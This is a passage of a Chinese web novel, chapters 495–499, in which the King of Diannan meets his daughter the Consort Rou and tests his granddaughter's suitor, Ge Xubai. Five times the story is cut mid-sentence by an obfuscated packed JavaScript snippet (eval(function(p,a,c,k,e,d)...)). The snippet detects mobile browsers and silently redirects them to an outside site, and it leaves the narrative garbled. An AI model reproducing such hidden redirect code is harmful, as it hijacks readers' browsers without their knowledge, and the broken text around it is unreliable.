“都起来,朕不过是与你们闲话家常罢了,不必如此紧张。父女团聚本是世间伦常,以往滇南王没有入京也就罢了,而今他既已到了京城,朕断然没有阻拦你们团聚的道理。明日朕便宣滇南王入宫,届时,你们父女便可好生团聚一番。” 柔贵妃闻言,眼底立马迸射出惊喜的光芒,叶寒衣也喜得眼睛都亮了。 二人齐齐行礼谢恩。 这一夜,柔贵妃高兴得久久难以成眠。 还是锦瑟出言提醒,“娘娘今夜若不好好休息,明日王爷瞧见您气色不好,只怕要担心了。” 柔贵妃听了这话,才压下心中激动,让自己进入了梦乡。 第495章 父女相见 滇南王还不知此事。 翌日,他受召入宫,面见德丰帝。 他与德丰帝乃是从龙功臣,当年二人也是互相扶持,经历了一段艰难岁月,才有了如今的一切。 撇开君臣关系不提,两人是故友。 而今,两人已是背脊佝偻,满鬓斑白。 滇南王郑重跪拜:“老臣参见陛下,愿陛下万岁,江山永固。” 德丰帝抬手虚扶,“爱卿镇守南疆多年,劳苦功高,赐座。” 滇南王连忙推拒不敢,德丰帝语气不容置疑,“区区一个座位,是你该受的。” 滇南王这才依言坐下。 德丰帝端坐上首,略显浑浊的目光中盛满感慨。 “一转眼,我们都老了,是朕老了。朕观滇南王依旧体格强健,宝刀未老啊。” 滇南王抚膝一笑,眼尾皱纹如刀刻。 “陛下说笑了——老臣这身子骨,早被南疆的瘴气蛀空了。如今骑马不过三十里,就得喝参汤吊着气儿。人一旦上了年纪,就不得不服老啊。” 话虽如此,德丰帝看着滇南王那依旧笔挺硬朗的身躯,眼里依旧充满羡慕。 他虽为真龙天子又如何?依旧不过一具肉体凡胎。 若没有遭那逆子的荼毒,他或许还能多撑几年。 但而今,再多懊悔也已无用。 怪只怪当初他识人不清。 德丰帝指着案上一盘哀牢雪柑。 “朕记得柔贵妃最爱此物,每年都催你进贡。朕也要来尝尝,可还是当年的味道?” 这是滇南王此行带入京的,小小雪柑虽不起眼,但德丰帝命人将其摆在御案前,便可见其看重之意。 冯有才立马亲自给德丰帝剥了一个,那果肉晶莹如冰,令人见之便口舌生津。 德丰帝尝了一口,入**汁无渣,十分甘甜。 他病后一直口舌寡淡,这抹甜倒是一下甜到了心口,也勾起了多年前的回忆。 “这雪柑,与当年的味道一般无二,实在令朕回味无穷。” 滇南王垂眸一笑: “陛下还记得,是老臣之幸。” 德丰帝又笑道:“柔贵妃早就想着这一口,朕便借花献佛,将这盘雪柑赐给柔贵妃了。滇南王,劳你替朕跑一趟了。” 滇南王闻言,先是一怔,旋即明白过来,眼底立时迸出惊喜的光芒。 他连忙叩首,“多谢皇上恩典。” 滇南王行了礼之后便起身,稳步朝外走去,仔细看就能发现,这几步路他竟走出了同手同脚来。 内侍端着那盘子雪柑,在前引路,滇南王心急,却不敢造次,只能稳住心神,跟在后头。 御花园,兰雪堂内,柔贵妃早就等候多时。 此为冬日赏梅的暖阁,暖阁四周遍植朱砂梅,正值花期,暗香浮动。 暖阁内地龙烧得极暖,紫铜炭盆里煨着沉水香,案上备着滇南普洱。 此乃父亲最喜欢喝的茶。 叶寒衣坐在柔贵妃身侧,与她一起等着。 相较于柔贵妃的紧张,叶寒衣显得镇定许多。 她出声宽慰,“姑母,您不必着急,皇上既然答应了此事,就定不会食言,祖父定然很快就来了。” 柔贵妃点头。 心中虽知道理如此,但横亘在两人之间的,是二十多年的分别,她如何能泰然处之? 终于,前方拐角处走来两道身影。 滇南王在内侍的引路下朝这边而来,他步伐稳健,面色一派从容,却在门槛处踉跄半步,险险稳住了。 “噗嗤——” 叶寒衣直接笑出了声。 “祖父,您可要当心脚下,可别把自己这一把老骨头给摔了。” 叶寒衣这一打岔,滇南王那股近乡情怯的紧张消失了大半,他虎着脸反驳,“你个小丫头瞎说什么,我哪里老了?是这门槛太高了。” “是是是,祖父一点不老。你还能扛得起两百斤的大刀呢。” 叶寒衣插科打诨,原本柔贵妃酝酿的那股子伤感气氛一扫而空,她的唇角也勾起了笑来。 “父亲。” 滇南王掀袍子就要跪下行礼,柔贵妃立马抬手将他扶起来,一脸嗔怪。 “父亲,你这是要折煞我了。” 滇南王又要说礼不可废,叶寒衣直接抢白,“祖父,您就别那么迂腐了,这里又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16090561|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没外人,皇上都特许您与姑母见面了,就不必讲究那些虚礼了。您还是抓紧时间与姑母多说说话吧,您可不能在宫里待太久。” 最后这话一下让滇南王生出紧迫来,他便再不敢浪费时间在无用的拉扯上。 父女二人坐下,彼此看着对方,眼底涌起无限复杂感慨。 “遥想当年,你不过只有寒衣这般年纪,一转眼,竟这般大了。” “父亲也老了许多,您鬓边都长了不少白发。” 看着那白发,她只觉刺眼 滇南王笑了笑,“岁月催人老啊,好在,我这把老骨头还算健朗,你在宫中好生看顾自己,旁事都无需操心。” 柔贵妃的眼眶又不自觉潮热起来。 “母亲身体可好?” “她也一切都好,就是时常思念你。知道你不会做针线,她便亲手给你做了很多衣裳,你身边虽不缺绣娘,但那是你母亲的一番心意。我都带来了,回头你试试。但我瞧着,你太瘦了,那些衣裳只怕尺寸不合适。” 柔贵妃抬手,飞快擦掉眼角那抹泪珠。 “母亲做的,我自是要穿。大了不要紧,我从今日起就每顿多吃,吃胖些,自然就合身了。” 滇南王笑容慈祥,“那自是好,你这样,太瘦了,胖些好看。” 为人父母的,才会嫌自己孩子瘦,便是吃得再胖,也觉得圆润可爱。 柔贵妃虽已经为人母,甚至很快就要当祖母了,但在滇南王的面前,她依旧是个孩子。 他们又说了很多话,父女二人脸上的笑意就没有落下过。 这时,叶寒衣喊了一声,“咦?表兄来了,知苒也来了。” 二人的谈话打断,齐齐透过琉璃朝外看去,果然是萧晏辞和陆知苒。 陆知苒坐在轿辇中,由几个身强体壮的宫人抬着,萧晏辞和霜华分别护在两侧,视线随时落在她的身上。 这番阵仗,让陆知苒觉得自己下一秒就要临盆了。 但她也不过六个月身孕,肚子虽大,却远没有到不能行走的地步。 尤其这次是来见滇南王,她这样出场,总有一种过于托大之感。 第496章 送命题 陆知苒提出要自己走,却被萧晏辞拒绝了。 “没有什么比你肚子里的孩子要紧,外祖父见了也不会说什么。若我当真让你自己走,母妃见了定要拎着我的耳朵训斥。” 陆知苒拗不过他,便只得老老实实地坐上了轿辇。 待到了兰雪堂前,陆知苒这才被放了下来。 萧晏辞的臂膀结实有力,将她稳稳地扶着。 进了兰雪堂内,一股暖气迎面扑来,萧晏辞又亲手给陆知苒解下披风,为她整理衣裙。 陆知苒要屈膝行礼,柔贵妃赶紧把人捞起来。 “你现在身子重,都免礼了。” 柔贵妃直接要把她扶着坐下来,陆知苒没坐,依旧坚持朝滇南王屈膝一礼。 “孙媳拜见外祖,久闻外祖威震滇南、护国安民,今日得见,方知殿下眉宇间的英气原是承自您老。” 滇南王本就在打量陆知苒,见她生得花容月貌,与自家外孙的确般配。 她一开口便落落大方,话也说得好听,滇南王对她登时便更添几分喜爱。 滇南王扯唇,露出一个慈祥的笑。 “你便是知苒吧,先前总是听阿辞提起你,今日一见,果然同他说的一般灵慧如雪,秀外慧中。” 陆知苒对滇南王很是敬重,在他面前半分不敢托大。 “外祖谬赞了,我不过一介寻常女流罢了。” 滇南王看她的眼神却愈发赞赏,“小小年纪便能执掌女学、安抚流民,比老夫当年莽撞逞凶强多了。” 又道:“我给你备了一份见面礼,只是今日入宫不曾带在身上,待回去我便命人给你送去,望你莫要嫌弃。” 陆知苒忙道:“外祖赠礼,孙媳自是喜爱,断没有嫌弃之理。” 柔贵妃从旁传话,“好了好了,快坐下说话。知苒你身子重,万事都没有你的身子要紧。” 滇南王的目光也随之落在她的肚子上,眼底带着欣喜,但不便久盯着,便很快移开了。 只可惜,自己不能在京城久待,有生之年,只怕是见不到重孙的面了。 陆知苒原本很紧张,唯恐自己不得滇南王喜欢,真正见了他,她的紧张就消散了大半。 滇南王看似严肃,但便如萧晏辞所说那般,他对待小辈很慈和,他也唯恐自己让陆知苒感到紧张,说话时语气都刻意放得很轻。 叶寒衣玩笑,“原本祖父最喜欢的是我,现在知苒来了,祖父最喜欢的人都变了。” 柔贵妃竟也加入了这场争风吃醋。 “父亲最喜欢的分明是我,你们两个小丫头休要与我争。” 萧晏辞看热闹不嫌事大,直接怼脸问,“外祖父,你自个儿说,你最喜欢的是谁?” 滇南王:…… 这分明是一道令人左右为难的送命题。 所有人都看着滇南王,等着他的回答。 滇南王捋着胡须,一脸镇定。 “我最喜欢的自然是我夫人,这还用问吗?” 好个奸诈的小老头。 他不待萧晏辞继续给自己挖坑,赶忙转移话题。 “说了这么许久话,肚子都饿了,吃菜吃菜。” 大家一边吃菜,一边赏景,欢声笑语,言笑晏晏,恍惚间,柔贵妃甚至以为自己回到了自己尚未出阁的时候。 但这样的美好十分短暂。 有内侍前来传话,前朝有事需要萧晏辞处理,他不得不起身离席。 滇南王见此,也缓声开口。 “时间不早了,我也该出宫了。” 柔贵妃闻言,脸上的笑意顿时收起,取而代之的是失落。 “还未到关宫门的时候……” 滇南王心中亦是不舍,但他还是道:“我在后宫逗留的时间不短了,皇上开恩,于我已是莫大恩典,我自当知情识趣,也不能给你添麻烦。” 他们是亲父女,但男女有别,于情理来说,他们是不应当私见的。 若他耽搁太长时间,被朝臣知晓,难保不会被参一本。 到时候,说不定连萧晏辞也会受牵连。 柔贵妃眼神黯淡,张了张嘴,最后到底什么都没说。 她在外人看来身份高贵,但身处其中才知,在这个位置究竟有多少身不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16090562|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由己。 萧晏辞见此,心中也生出几分不是滋味,但他却不知该如何宽慰。 因为他即便是太子,对此事也无能为力。 叶寒衣插科打诨,“嗐,这有啥,过两天除夕宴上不就能再见着了,到时候咱们再找机会私下见见,那些老臣便是再不近人情,也不能阻拦吧,那可是大过年的。” 萧晏辞心中暗想,他会找机会向德丰帝求一个恩典,到时候让母妃出宫给外祖父送行。 但此事不知是否能成,他便没有贸然说出口,免得事情没办成,反倒让双方都失望。 柔贵妃打起精神,起身送他们。 离别固然伤感,但往好的方向想,今日的团聚已经是偷来的时光,赚到了。 临走前,滇南王又出言叮嘱叶寒衣,在宫中要守规矩,不可给柔贵妃添麻烦云云,最后才一步三回头地走了。 待他们走了之后,叶寒衣才一拍脑门,小声咕哝,“哎呀,忘了问了。” “忘了问什么?” 叶寒衣打马虎眼,“没,没什么。” 柔贵妃收敛了愁绪,脑子也很快转了起来。 伸手点她,“这就开始惦记起情郎来了?” 叶寒衣摸着脑袋,嘿嘿干笑。 她是想问问萧晏辞,戈叙白到京城了没有,若是到了的话,给她知会一声。 她想提前跟他见一面,当面提醒一番他该如何应对祖父的考验。 但方才祖父在,叶寒衣便没立马开口,后来就给忘了。 柔贵妃笑道:“到时候我可得好好看看,究竟是什么样的好儿郎,能让你这般念念不忘。” 叶寒衣想说自己没有念念不忘,但话到嘴边又咽了回去。 自己这段时日白天晚上可不都在想着他嘛? 她一直自诩洒脱,觉得不过一个男人,这个不好就换下一个。 但不知不觉间,她对戈叙白竟已经生出了牵肠挂肚的情丝。 她暗暗数着日子,再有三天就是除夕了,他就算再迟,也定然不会晚于除夕。 三年过去了,他应该没有长残吧? 第497章 就这么想嫁他? 今年是个寒冬,雪陆陆续续下了将近一个月。 有了前几年的经验,萧晏辞有条不紊地安排各项事宜。 户部开常平仓,向贫民低价售炭、棉衣,防止雪后物价飞涨。 工部征调民夫清理官道两侧排水沟,防止雪融后积水结冰。 官府加强巡逻,呼吁百姓及时清理屋顶积雪,防止房屋被雪压塌。 各方联动,迄今为止,各地没有上报因雪受灾的情况。 宫中,除夕宫宴有条不紊地进行着。 叶寒衣有些心不在焉。 她得知,戈叙白还没有回京。 按照行程,他几天前就该到了。 各地官员都已经抵达,也完成了述职,唯独他,迟迟不见踪迹。 想到外头那么大的雪,叶寒衣的心就高高提了起来。 他该不会是路上出了什么事吧? 她派了人往城外去迎,若他遇到了什么难处,自己的人也能及时帮忙。 天色渐晚宫中次第点亮烛火,宴会的大殿内,宫女太监有条不紊地端上瓜果茶点,赴宴的官员陆续入席。 依旧是男女宾客分席而坐,中间以轻薄屏风遮挡。 直到入席,叶寒衣也没有收到手下传来的消息,心头焦躁更甚。 柔贵妃知晓她的担忧,便只能轻握她的手以作宽慰。 宾客依次入席,德丰帝在冯有才的搀扶下出席,众臣齐齐起身恭贺。 今日这样大好的日子,德丰帝的面色好了许多。 酒至半酣,殿外传来内侍的通传。 “西平军主帅戈叙白、陇西督粮道严明德,请求面圣请罪!” 德丰帝原本已经有些精力不济,闻言眼皮一掀,多了两分精神。 他本以为此次西平军入京述职的任宗平,前几日过问了一回,才得知回京的是戈叙白,而他却迟迟没有抵达。 德丰帝淡声开口,“宣。” 叶寒衣的眼睛一亮,一直高悬了一整日的心在此刻终于放了下去。 还能来觐见皇上,就说明他无事。 殿内众臣纷纷将目光投向大殿门口。 滇南王放下了手中的杯盏,目光如炬。 戈叙白和另一个官员一前一后踏入。 戈叙白玄色大氅上结着冰凌,严明德官袍下摆沾满泥雪。 二人行至御前,齐齐单膝跪地。 “臣等延误归期,请陛下降罪。” 德丰帝目光在二人身上逡巡,最后落在戈叙白的身上,眼神笼着一股淡淡威严。 “朕记得,述职期限是腊月廿三?” 戈叙白恭敬答道,“是微臣延误了述职期限,但此事事出有因,还请皇上听臣一言。微臣等行至陇西官道,遭遇了大暴雪,青峰驿附近的官道被积雪掩埋,附近一个村子全村半数房屋受损,还有村民被压在雪下,微臣等见此情形,实在不能袖手旁观。” 严明德也赶忙点头,“是,是,微臣与戈将军为了援救和安置灾民,这才耽误了行程,还请皇上明察。” 德丰帝闻言,原本的那点子迁怒也变成了沉凝。 “灾民可尽数安置妥当了?” 戈叙白沉声回禀,“回皇上,微臣与严大人离开时,灾情已然控制。” 严明德也忙道:“微臣留下了大部分精锐,又派人回陇西调派人手进行后续之事,应当无事。” 德丰帝面色稍霁。 萧晏辞出列,“父皇,戈将军和严大人虽延误了述职期限,但他们也是事出有因。若他们对受灾百姓视而不见,那才是令人诟病。微臣以为,此举非但不该罚,还当赏。” 立马有其他朝臣跟着出列附议。 德丰帝眉心松缓,也露出一抹微微笑意。 “众爱卿所言极是,戈爱卿和严爱卿一心为民,当赏。来人,赐座。” 小太监端来了椅子,二人落座,俱是松了口气。 戈叙白悄悄抬头,往屏风对面瞟,但他不知叶寒衣坐在何处,只能看到一道道影影绰绰的身影,只得遗憾地收回目光。 他寻不到叶寒衣的位置,但叶寒衣的目光却一直追随着他,柔贵妃也在暗暗打量。 她缓缓点头,“生得倒是不错。且他有决断,有担当,对百姓有仁心,品性尚佳,可堪托付。” 叶寒衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097493|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听着柔贵妃的这番话,暗暗松了口气,同时面上不禁泛起红润来。 “姑母,祖父对他应当也能瞧得上眼吧?” 柔贵妃见她紧张,故意生了戏弄之心。 “你祖父性情严苛,尤其是在给你择婿之事上,他只怕更加刁钻。他是否满意,还真不好说。” 叶寒衣看向对面,便见自家祖父正虎视眈眈地盯着戈叙白,隔着屏风她瞧不真切,只觉得自家祖父那眼神冷幽幽的,怪吓人的。 “姑母,你可得帮帮我。” 柔贵妃笑看着她,“就这么想嫁他?” 叶寒衣挠挠脸,“这不也没其他更合适的了吗?他各方面都不错,就凑合吧。” 柔贵妃一脸正色,“本宫的侄女,可不能凑合。” 叶寒衣只得改口,“不凑合,一点都不凑合。就他了,姑母……” 柔贵妃伸手点了点她的额头。 “行了,这事我放心上了,若父亲当真不同意,我自会想法子从中说和。” 不过,依她看,此事轮不到她出手,寒衣这丫头纯粹是关心则乱了。 戈叙白很快就察觉到有另一道目光落在自己身上,她侧头看去,就对上了滇南王打量的眼神,带着一股子威压之意。 戈叙白没见过滇南王,但从他的服饰上便猜出了对方身份,顿时神色紧张,正襟危坐。 他先前急着赶时间,也没顾得上好生拾掇自己,加上几日没好好休息,此时他定是面色憔悴,没个人样。 初次见面就留下了不好的印象,这可如何是好? 戈叙白方才面对皇上的责问都能神色自若,眼下只是和滇南王遥遥对视一眼,他就如坐针毡了起来。 德丰帝身体不适,提前离席,殿内气氛这才活络起来。 戈叙白方才在众人面前小小露了脸,便有官员上前与之攀谈,结交之意明显。 戈叙白不敢在滇南王面前留下不好的印象,谦恭地应对着。 殿内的宴席结束,众人陆续出了大殿,前往城墙观看烟花。 戈叙白随着人流往外走,抬步便往滇南王的方向而去。 第498章 挑刺 但他还没走到,就又被一人拦住了。 是严明德。 二人本没有交情,但此次也算是共同患难,且戈叙白和一众手下武力强悍,多亏了他们,灾情才能迅速控制。 那处村庄隶属于严明德辖区,戈叙白算是帮了他大忙。 严明德一路上提着心赶路,方才喝了几盏热酒,又得了其他官员一番奉承,他整个人才彻底放松下来。 他走到戈叙白的面前,脸上带着一抹酒后的微醺。 “戈将军,这次多亏了你,你是我严某人的恩人,改日我请你喝酒,好好感谢一番。” 戈叙白少不得又要与他一番客套寒暄,场面话说了一箩筐,戈叙白便欲找借口离开,但严明德却有些上头,拉着他不放。 “戈将军,本官听说你尚未娶妻。实不相瞒,本官家中尚有一**,亦待字闺中,与你年岁正好相符,品貌性情也十分相配,若戈将军不嫌弃,我们可结为两姓之好,岂不是一桩美事?” 戈叙白万万没想到,严明德竟然会跟自己提这么一桩事。 但见严明德双颊驼红,俨然是有两分醉意了。 这话他万不能应承,他正待开口反驳,身后就传来一声不轻不重地冷哼。 “戈将军青年才俊,当真是抢手得很。” 戈叙白立马转身,一下对上了滇南王那双锐利的双眸,刹那间,他觉得自己的头皮都发麻了起来。 怎么偏偏让滇南王听了那话去,这不是火上浇油吗? 戈叙白慌忙解释,“滇南王,此事都是误会,我早已有了心上人,自然无福消受严大人的抬爱。严大人,在下此次入京便是要商谈婚事,你的美意在下心领了。” 严明德闻言,眼底立马露出一抹深深的失望来。 但结亲之事不可强求,眼下也并非谈这个的时候,还被滇南王听了去,严明德瞬间有种做了错事被抓包的感觉。 他满脸窘迫,找了个理由赶紧走了。 戈叙白又朝滇南王恭恭敬敬行了一礼,“晚辈见过滇南王。” 滇南王神色淡淡,看不出喜怒。 戈叙白后背不由渗出些许冷汗,“方才之事真的是一场误会,晚辈也没想到严大人会提出结亲之事,断然没有那番想法。” 滇南王开了口,但语气微冷,“方才也没见你第一时间回绝。” 戈叙白冷汗更甚,“晚辈只是太惊讶了,本也打算立马回绝的,但没想到……” 没想到,滇南王无声无息地出现了,他那话便没来得及说出口。 滇南王呵呵两声,“这么说,怪本王来得不是时候?” 戈叙白忙道:“自然不是,一切都是晚辈的错,是晚辈处理不当。” 滇南王面上神色意味不明,戈叙白的心不由一提再提。 好在这时,有宫人上前,“滇南王,我家贵妃有请。” 滇南王这才收敛了浑身气势,点了点头,转身随那宫人走了。 戈叙白这才觉得那股强大的压迫感消失了,他松了口气。 顺着他们离开的方向看去,戈叙白总算看到了叶寒衣,她穿着一身红色的宫装,身形高挑,头发拾掇得很干净利落,与京中贵女们截然不同,叫人一眼就能注意到她。 戈叙白下意识就要抬步往那边去,但走了两步才意识到,那边是女眷的所在,自己贸然前去,实在不妥,就只能硬生生地停下了脚步。 柔贵妃没有在人堆里凑热闹。 她和滇南王往另一条宫道缓缓踱着步,一边叙话。 “父亲,方才你瞧见了那戈叙白,觉得他为人如何?” 滇南王答了四个字,“招蜂引蝶。” 柔贵妃惊诧,“这话从何说起?” 滇南王道:“方才,我听那严大人想把小女儿嫁给他。” 柔贵妃:“他定没有答应,他目光清正,并非朝三暮四之人。” 滇南王冷哼一声,“我在旁边,他自然不敢答应,若周遭无人,可未必。” 柔贵妃说了句公道话,“父亲,您拿这些假设之言给人扣罪名,未免有些太不讲道理了。那严大人想与他结这门亲,不也说明了他为人可靠?他有仁义之心,愿意为了寻常百姓的安危冒被皇上问责的风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097494|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险,此番心性,的确可以托付。” 滇南王硬要挑刺,“这只是他的一面之词,事实究竟是否如此还有待查验。” 柔贵妃失笑,“他纵有天大的胆子,也不敢当众扯这样的幌子。” 滇南王不满,“你怎么处处帮他说话?” 柔贵妃反驳,“是您处处挑他的刺,人家明明有优点,您硬是鸡蛋里挑骨头,之前也是……” 她话说了一半,意识到说错话了,立马打住了。 父女二人有瞬间的沉默。 之前,是滇南王为她选夫君。 当时的谷栖山也被他百般挑剔,处处都能挑出不满意来。 后来…… 柔贵妃收敛了心神,神色如常地开口。 “寒衣难得瞧上一个人,您也别太刁难人家,知道您心疼寒衣,不舍得她远嫁,但那若是她的缘分,您也拦不住。” 滇南王也正了神色。 “我知道,此子的确尚可。” 柔贵妃笑了,“父亲口中的尚可,那便是觉得十分不错了。” 这小老头,当真一如既往地嘴硬。 滇南王虎着脸,“我若一上来就给他好脸子,他岂不觉得我的孙女很好娶?日后若是欺负了寒衣怎么办?” 柔贵妃失笑摇头,“寒衣那性子,是能被人欺负的主儿?戈叙白若当真敢欺负她,她就敢直接来个休夫,再千里奔骑回娘家去。” 这番彪悍的作风,落在京城的大家闺秀身上,定要被人道一句泼妇。 但滇南王听了这话,非但不以为耻,反以为荣。 “她是我的孙女,她有硬气的资本。” “那您就把心放回肚子里去吧。” 滇南王不说话了。 话虽如此,身为长辈,如何能不担心? 女儿远嫁是无可奈何,到了孙女身上,他自然希望能离得近些,最好就在自己手边就能够得着的地方。 若戈叙白是个不堪之人,他倒是有理由阻拦。 但他却是个难得的青年才俊,滇南王舍不得孙女,便只能充当那蛮不讲理的老头儿,在戈叙白的身上挑刺。 第499章 手段一套接一套 柔贵妃这头给滇南王做好了思想工作,那头,戈叙白和叶寒衣也寻到了机会,碰头了。 萧宝珠帮二人放风。 戈叙白伸手,将她的手轻轻握住,二人四目相对,一时都没有说话。 他想到了二人分别时那缠绵的吻,一时不禁喉结上下滚了滚。 但这是皇宫,他什么都不能做。 叶寒衣开了口,“方才你与我祖父说了些什么?” 戈叙白的表情微顿,很快掩饰过去。 “没什么,宫中不便叙话,只是一些闲话罢了。” 明日他会亲自下帖,再向滇南王解释清楚,表明自己的诚心。 叶寒衣还欲再说些什么,戈叙白已经岔开了话题。 他从袖中取出一个长条形的匣子,“这是我给你带的礼物,你看看。” 叶寒衣的注意力立马被吸引,“是什么?” “你打开看看就知道了。” 叶寒衣将其打开,待看清匣子内的情形,顿时倒吸冷气。 那里面赫然是一株雪莲! 整株花不见丝毫萎靡之态,花瓣如冰雕玉琢,莹白剔透,边缘泛着淡淡的月华之色,花蕊深处却藏着一抹极淡的绯红。 叶寒衣惊得一时失语,半晌才道:“这,这是你亲手采的?” 戈叙白故作淡定地点头。 它生于万丈绝壁,根须深深扎入冻土,四周是终年不化的冰雪,偶有苍鹰盘旋而过,却无人能近其身。 他为了采到这株雪莲,费了九牛二虎之力,甚至险些跌落悬崖。 但这些,他都没有提,只轻描淡写地说:“我也是机缘巧合之下发现了它,将它采了下来。今日将它送给你,算是我提前送上的聘礼。” 此物珍贵,戈叙白不放心放在驿站,便一直藏在宽大的袖中。 叶寒衣不是真正关在闺阁里的千金小姐,她知道雪莲有多难采,他轻描淡写的几句话,蕴藏的或许便是命悬一线的危险与杀机。 叶寒衣心头感动,嘴上却道:“你现在就把它送给我,万一我们的亲事没成,我可不会还给你。” 戈叙白不容置疑,“一定能成,除非你反悔了。你反悔了吗?” 叶寒衣哼了一声,“别以为靠着一株雪莲就能拴住我,我得好好考虑考虑。” 戈叙白盯着她,目光灼灼,“那你得快些,我已然等了三年,有些等不及了。” 叶寒衣在他那灼热的目光注视下,一点点慢慢红了脸。 萧宝珠忽而重重咳了两声,叶寒衣和戈叙白立马四下看,那头有贵女走了过来,戈叙白重重握了握她的手,低声道:“等我的好消息。” 然后,转身,身形很快消失在了夜色里。 叶寒衣整理好情绪,让自己脸上的滚烫稍稍减退,这才从阴影处走了出来。 萧宝珠眼尖,见到她把什么东西藏在袖中,眼神中暗含打趣。 “哟,那是什么宝贝?让我瞧瞧。” 叶寒衣这会儿平白多了股想要好好显摆的心思,便悄悄将匣子打开了。 萧宝珠的反应比她还夸张,直接惊呼出声,叶寒衣赶忙一把将她的嘴捂住了。 “你小声些。” 萧宝珠将那口气憋了回去,又凑近了几分,“假的吧?” 叶寒衣立马护犊子,“当然是真的!” “那它怎么没有谢?” 叶寒衣解释,“真正的雪莲便是如此,离山百日不凋。” 萧宝珠露出原来如此的表情。 “戈将军亲手采的?” 叶寒衣骄傲地点头。 萧宝珠啧了两声,“他可真牛。” 叶寒衣瞬间觉得自己倍儿有面子。 她在意的不是这株雪莲本身,而是他愿意为自己亲手摘下雪莲的这份心意。 说再多,也没有做得多来得实际。 有了这株雪莲,他在祖父那里也能加分。 宫宴散了,叶寒衣抱着这珍贵的匣子回了夕颜殿,她亲自到柔贵妃跟前显摆,柔贵妃也不由面露赞赏。 “他有心了。” 锦瑟也看着那雪莲啧啧称奇。 “咦?匣子内侧似刻了字。雪莲离山百日不凋,此心寄卿百年不移。” 锦瑟逐字念了出来,念罢,柔贵妃顿时一脸揶揄地看着叶寒衣。 “我还以为这戈将军是个不解风情的,却不曾想,他的手段是一套接一套啊。” 叶寒衣原本就红的脸更是瞬间红透了,一颗心也不由砰砰地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105828|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狂跳不止。 戈叙白的手段远不止于此。 他不仅给叶寒衣备了礼,更没忘记滇南王。 翌日,萧晏辞做东,为戈叙白和滇南王牵线,大家一起去城外跑马场跑马。 萧晏辞有心帮忙,便与戈叙白事先通了气。 滇南王也正想考验一番戈叙白的骑射,自是欣然赴约。 在跑马场上,没了外人,滇南王便开门见山,直接把话挑明了。 “寒衣是本王唯一的孙女,她自幼便是本王亲手教大的,她的功夫不输男子,她所嫁之人,不能是无能之辈。今日,你便与本王来比一场,看看你能否过得了本王这一关。” 戈叙白连忙应声,“晚辈恭敬不如从命。” 今日考教的是骑射三绝:移动靶连射、回身射柳和箭贯金钱。 滇南王虽老,但他马上的功夫半分没落下。 他有心在小辈面前露一手,拉弓的手分外稳,射出去的箭更是又快又稳。 连续三关,他都轻松拿下。 萧晏辞从旁毫不吝啬地鼓掌叫好。 戈叙白的眼里也满是钦佩与赞叹。 接下来,该到戈叙白上场了。 戈叙白翻身上马,战马如黑电般窜出。 远处三个移动靶依次排开——狼靶近在三十步,鹰靶悬于六十步外的高杆,龙靶则隐在百步之外的柳荫下,随风晃动,飘忽不定。 他反手抽箭,弓弦震响。 第一箭,狼靶应声而裂。 第二箭,长箭精准钉入鹰目。 第三箭,他有心卖弄,在马背仰身,弓如满月—— “嗖!” 箭矢贯穿龙靶咽喉,余势不减,钉入后方树干,箭尾震颤不止。 三箭,准头和力势都远超滇南王。 萧晏辞鼓掌叫好,滇南王眼底也浮出满意,但嘴上却道:“花哨。” 